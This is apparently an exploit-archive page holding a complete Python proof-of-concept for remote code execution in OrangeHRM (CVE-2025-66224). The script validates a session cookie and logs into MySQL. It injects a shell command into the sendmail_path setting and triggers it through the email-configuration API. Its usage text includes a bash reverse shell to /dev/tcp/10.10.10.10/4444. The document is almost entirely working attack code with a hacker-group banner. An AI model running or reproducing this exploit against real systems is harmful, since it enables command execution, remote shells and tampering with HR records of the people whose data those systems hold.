4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-66224.py PY
import requests
import argparse
import sys
import mysql.connector
from mysql.connector import Error
import json

BANNER = r"""
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @:  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  .@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@     @@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@    @@    @@@@@@@ .     @@@@@@@  #@@@@@@@%. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ . @@@@@@@   @@@@   @@@@@   @@@@  @@@@@@@@   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@   @@@@@@@@@  @@@  %@@@@:*@@  @@@  @@@@@@@   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@   @@@@@@@    @@@  @@@@@@@@@  @@@  @@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@   @@@@@@   @@@@  .@@@@@@@@   @@@  .@@@@@@@  @@@@ @  @@@@@@@@@@@@@@@      @@@@@@@
@@@@@  @@@@@@  @@@@-. @@@@@@@  . @@@@@  @@@@@@@@  *@@@        @@@@ .             @@@@@
@@@@.  @@@@@  @@@@@  @@@@@@@@@@   @@@@  @@@@@@@@@  @     --        @@@@       .@  @@@@
@@@@  @@@@@@  @@@@@@   @@@@@@@@@@   .  . @@@@@@@@@   @@@@@@@@@@@@@            @  @@@@@
@@@@  @@@@@@  @@@@@  .@@@@@@@@@@@*@@@@@  @%@@@@@@@@@@@@@       *@@@@ @ @     @   @@@@@
@@@@-  @@@@@@ @@@@  @@@@@@@@@@@@@:@@@@@@@@@@@@@@:@@@@@@ .        @@@@@@    @@=  @@@@@@
@@@@@  @@@@@@   @  @@@@@@@@@@@* %@@@@@@@@@@@@@@@*@@@@@  .@@@@@   @@@@@@@@@@@   @@@@@@@
@@@@@@  @@@@@@    @@@@@@@@@@#%@@@@@@@@@@@@@@@@@%@@@@@@@   @@@    @@@@@@@@@@  .@@@@@@@@
@@@@@@-  @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@       @@@@@@@@@   @@@@@@@@@@
@@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@#==#@@@@@@@@@@@@@ @@ =@@@@@@@@@@@@@@@=  @@@@@@@@@@@
@@@@@@@@@   @@@@@@@@@@@@@@@@@@@@*.@@@@@@: @@@@@@@@@@@    @@@@@@@@@@@@@@@@  @@@@@@@@@@@
@@@@@@@@@      @@@@@@@@@@@@@@@@@ .%*@@@@@@ @@@@@@@@@.@@@@@@@@@@@@@@@@@@@@. @@@@@@@@@@@
@@@@@@@@  @ @   @@@@@@    @@@@@@@  @@@@@@@@@@@@@@@@@@@@@        .@@@@@@@@  @@@@@@@@@@@
@@@@@@@  :      @@@@@-   .@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@   @@#    @@@@@@@@   @@@@@@@@@
@@@@@@@          @@@@               @@@@@@+@@@@@@@@@@@@   @@@@    @@@@@@@@@@   -@@@@@@
@@@@@@  @  .       @@               @@@@@# .@@@@@@@@@@@@          @@@@@@@%@@@@ . @@@@@
@@@@@@                                    .        @@@@@@% .    *@@@@@@@     @@@  @@@@
@@@@@@      @@@     @              @        @      #@@@@@@@@@@@@@@@@@@ @       @@  @@@
@@@@@@            . .         @        @           *@@@@@@@@@@@@@@@@@            @  @@
@@@@@@  @ @   @@@@            @        %   @            @@@@@@@@@@  @@@@@%++#@@@@  :@@
@@@@@@@     @@@@@      @@  .         .     @           @   .   @     .            @@@@
@@@@@@@@@@@@@@@@@.    @         @@@                 @@@        @     @@     @@@@@@@@@@
@@@@@@@@@@@@@@@@@@ .    @@@@@@@           .@     =      @@@@@     .      :@  +@@@@@@@@
@@@@@@@@@@@@@@@@@@@@  @@@@@@@@@@@@@@@@@@@ .        @@@@@@@@@@@@@@@@@@@@      @@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ PoC RCE for OrangeHRM CVE-2025-66224 @@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ PoC by RiccK @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ Bypassadores && HackersOnSteroids @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
"""

def normalizeUrl(url: str) -> str:
    if not (url.startswith("http://") or url.startswith("https://")):
        url = "http://" + url
    return url.rstrip("/")

def createSessionFromCookie(base_url: str, cookie_value: str, cookie_name: str = "_orangehrm"):
    session = requests.Session()
    session.cookies.set(cookie_name, cookie_value)
    
    print(f"[*] Cookie set: {cookie_name}={cookie_value}")
    print(f"[*] Validating session...")
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    
    dashboard_url = f"{base_url}/web/index.php/dashboard/index"
    test = session.get(dashboard_url, headers=headers, allow_redirects=True)
    
    print(f"[*] Status Code: {test.status_code}")
    print(f"[*] Final URL: {test.url}")
    
    if 'login' in test.url.lower():
        print("[-] Invalid or expired cookie! Redirected to login.")
        return None
    
    if test.status_code == 200:
        print("[+] Valid session! Dashboard access confirmed.")
        return session
    
    print("[-] Could not validate session.")
    return None

def findAndUpdateSendmailPath(db_host, db_user, db_pass, payload, db_port=3306):
    print(f"\n[*] Connecting to MySQL...")
    print(f"[*] Host: {db_host}:{db_port}")
    print(f"[*] User: {db_user}")
    
    try:
        connection = mysql.connector.connect(
            host=db_host,
            user=db_user,
            password=db_pass,
            port=db_port,
            connect_timeout=5
        )
        
        if connection.is_connected():
            print(f"[+] Connected to MySQL successfully!")
            
            cursor = connection.cursor()
            cursor.execute("SHOW DATABASES")
            databases = cursor.fetchall()
            
            print(f"\n[*] Looking for table 'hs_hr_config'...")
            
            found = False
            for db in databases:
                db_name = db[0]
                
                if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']:
                    continue
                
                try:
                    cursor.execute(f"USE {db_name}")
                    cursor.execute("SHOW TABLES LIKE 'hs_hr_config'")
                    result = cursor.fetchone()
                    
                    if result:
                        print(f"[+] Table 'hs_hr_config' found in database '{db_name}'!")
                        
                        cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'")
                        row = cursor.fetchone()
                        
                        if row:
                            print(f"\n[+] Current configuration found:")
                            print(f"    Name: {row[0]}")
                            print(f"    Value: {row[1]}")
                            
                            new_value = f"/usr/sbin/sendmail -bs && {payload} #"
                            
                            print(f"\n[*] New value will be:")
                            print(f"    {new_value}")
                            print(f"\n[!] WARNING: This will MODIFY the database!")
                            
                            confirm = input("[?] Do you want to continue? (yes/no): ")
                            
                            if confirm.lower() == 'yes':
                                update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'"
                                cursor.execute(update_query, (new_value,))
                                connection.commit()
                                
                                print(f"\n[+] Value updated successfully!")
                                
                                cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'")
                                updated_row = cursor.fetchone()
                                print(f"[+] Updated value:")
                                print(f"    {updated_row[1]}")
                                
                                found = True
                            else:
                                print(f"[-] Operation cancelled by user")
                                found = True
                        else:
                            print(f"[-] Configuration 'email_config.sendmail_path' not found")
                        
                        break
                        
                except Error as e:
                    print(f"[-] Error accessing database '{db_name}': {e}")
                    continue
            
            if not found:
                print(f"\n[-] Table 'hs_hr_config' or configuration not found")
            
            cursor.close()
            connection.close()
            print(f"\n[+] MySQL connection closed")
            return found
            
    except Error as e:
        print(f"[-] Error connecting to MySQL: {e}")
        print(f"\n[!] Troubleshooting tips:")
        print(f"    1. Check if MySQL is running")
        print(f"    2. If using Docker, the host might be the container name")
        print(f"       Example: -dh orangehrm_mysql or -dh mysql")
        print(f"    3. Check the port with: docker ps | grep mysql")
        print(f"    4. If port is mapped, use: -dport PORT")
        print(f"    5. Try to find MySQL container IP:")
        print(f"       docker inspect <container_name> | grep IPAddress")
        return False

def restoreSendmailPath(db_host, db_user, db_pass, db_port=3306):
    print(f"\n[*] Restoring original sendmail_path value...")
    
    try:
        connection = mysql.connector.connect(
            host=db_host,
            user=db_user,
            password=db_pass,
            port=db_port,
            connect_timeout=5
        )
        
        if connection.is_connected():
            cursor = connection.cursor()
            cursor.execute("SHOW DATABASES")
            databases = cursor.fetchall()
            
            for db in databases:
                db_name = db[0]
                
                if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']:
                    continue
                
                try:
                    cursor.execute(f"USE {db_name}")
                    cursor.execute("SHOW TABLES LIKE 'hs_hr_config'")
                    result = cursor.fetchone()
                    
                    if result:
                        original_value = "/usr/sbin/sendmail -bs"
                        update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'"
                        cursor.execute(update_query, (original_value,))
                        connection.commit()
                        
                        print(f"[+] Value restored to: {original_value}")
                        
                        cursor.close()
                        connection.close()
                        return True
                        
                except Error as e:
                    continue
            
            cursor.close()
            connection.close()
            
    except Error as e:
        print(f"[-] Error restoring: {e}")
        return False
    
    return False

def exploit(session, base_url, command, db_host=None, db_user=None, db_pass=None, db_port=3306):
    print(f"\n[*] Starting exploitation...")
    
    if db_host and db_user and db_pass and command:
        print(f"[*] Injecting payload into sendmail_path via MySQL...")
        success = findAndUpdateSendmailPath(db_host, db_user, db_pass, command, db_port)
        
        if not success:
            print(f"[-] Failed to inject payload into database")
            return False
    else:
        print(f"[!] MySQL credentials or command not provided!")
        print(f"[!] Use: -dh HOST -du USER -dp PASS -cmd 'your_command'")
        return False
    
    print(f"\n[*] Triggering payload execution...")
    
    email_config_url = f"{base_url}/web/index.php/api/v2/admin/email-configuration"
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
        'Accept': 'application/json, text/plain, */*',
        'Accept-Language': 'en-US,en;q=0.5',
        'Content-Type': 'application/json',
        'Origin': base_url,
        'Referer': f"{base_url}/web/index.php/admin/listMailConfiguration",
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-origin'
    }
    
    payload = {
        "mailType": "sendmail",
        "sentAs": "[email protected]",
        "smtpHost": None,
        "smtpPort": None,
        "smtpUsername": "admin",
        "smtpPassword": None,
        "smtpAuthType": "login",
        "smtpSecurityType": "none",
        "testEmailAddress": "[email protected]"
    }
    
    print(f"[*] Sending trigger request to: {email_config_url}")
    
    try:
        response = session.put(email_config_url, json=payload, headers=headers)
        
        print(f"[+] Status Code: {response.status_code}")
        
        try:
            response_json = response.json()
            print(f"[+] Response:")
            print(json.dumps(response_json, indent=2))
        except:
            print(f"[+] Response Text:")
            print(response.text[:500])
        
        if response.status_code == 200:
            print(f"\n[+] Payload triggered! Command should have been executed.")
            
            print(f"\n[*] Cleaning up - restoring original value...")
            restore_success = restoreSendmailPath(db_host, db_user, db_pass, db_port)
            
            if restore_success:
                print(f"[+] Database value restored successfully!")
            else:
                print(f"[-] Could not restore value automatically")
                print(f"[!] Restore manually to: /usr/sbin/sendmail -bs")
            
            print(f"\n[+] Exploit completed! Check if command was executed.")
            return True
        else:
            print(f"\n[-] Failed to trigger. Status: {response.status_code}")
            
            print(f"\n[*] Attempting to restore database value anyway...")
            restoreSendmailPath(db_host, db_user, db_pass, db_port)
            
            return False
            
    except Exception as e:
        print(f"[-] Error during trigger: {str(e)}")
        return False

parser = argparse.ArgumentParser(
    prog="orangehrm_exploit.py",
    description=BANNER,
    epilog="USAGE: python3 script.py -t http://host.com -c 'cookie_value' -dh 127.0.0.1 -du user -dp pass -cmd 'whoami'",
    formatter_class=argparse.RawDescriptionHelpFormatter
)

parser.add_argument("-t", "--target", type=normalizeUrl, required=True, help="Target URL")
parser.add_argument("-c", "--cookie", required=True, help="Session cookie value")
parser.add_argument("-cn", "--cookie_name", default="_orangehrm", help="Cookie name (default: _orangehrm)")
parser.add_argument("-cmd", "--command", required=False, help="Command to execute")
parser.add_argument("-dh", "--db_host", required=False, help="MySQL host (e.g., 127.0.0.1)")
parser.add_argument("-du", "--db_user", required=False, help="MySQL username")
parser.add_argument("-dp", "--db_pass", required=False, help="MySQL password")
parser.add_argument("-dport", "--db_port", type=int, default=3306, help="MySQL port (default: 3306)")

args = parser.parse_args()

if __name__ == "__main__":
    
    print(BANNER)
    
    auth_session = createSessionFromCookie(args.target, args.cookie, args.cookie_name)
    
    if auth_session:
        print("\n[+] Session authenticated and validated successfully!")
        
        if args.command:
            exploit(
                auth_session, 
                args.target, 
                args.command,
                args.db_host,
                args.db_user,
                args.db_pass,
                args.db_port
            )
        else:
            print("\n[!] No command specified. Use -cmd to execute commands.")
            print("[+] Session available for manual use")
            print(f"\n[+] Full usage example:")
            print(f"    python3 script.py -t {args.target} -c {args.cookie} \\")
            print(f"        -dh 127.0.0.1 -du root -dp password \\")
            print(f"        -cmd 'bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"'")
    else:
        print("\n[-] Could not establish a valid session")
        print("[!] Tip: Get the cookie from browser after logging in manually")
        sys.exit(1)